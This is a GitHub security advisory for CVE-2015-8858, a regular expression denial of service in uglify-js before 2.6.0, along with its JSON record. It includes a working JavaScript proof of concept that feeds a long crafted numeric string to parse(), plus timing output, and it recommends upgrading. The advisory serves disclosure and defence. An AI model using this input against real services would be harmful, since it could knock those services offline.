ghsa-c9f4-xj24-8jqx
Vulnerability from github
Published
2017-10-24 18:33
Modified
2021-09-08 21:59
Severity ?
Summary
Regular Expression Denial of Service in uglify-js
Details
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
Proof of Concept
``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ```
Results
``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s
$ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ```
Recommendation
Update to version 2.6.0 or later.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "uglify-js" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.6.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2015-8858" ], "database_specific": { "cwe_ids": [ "CWE-1333" ], "github_reviewed": true, "github_reviewed_at": "2020-06-16T21:30:50Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require(\u0027uglify-js\u0027);\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i\u003c=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.", "id": "GHSA-c9f4-xj24-8jqx", "modified": "2021-09-08T21:59:09Z", "published": "2017-10-24T18:33:36Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8858" }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-c9f4-xj24-8jqx" }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/48" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2016/04/20/11" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/96409" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Regular Expression Denial of Service in uglify-js" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.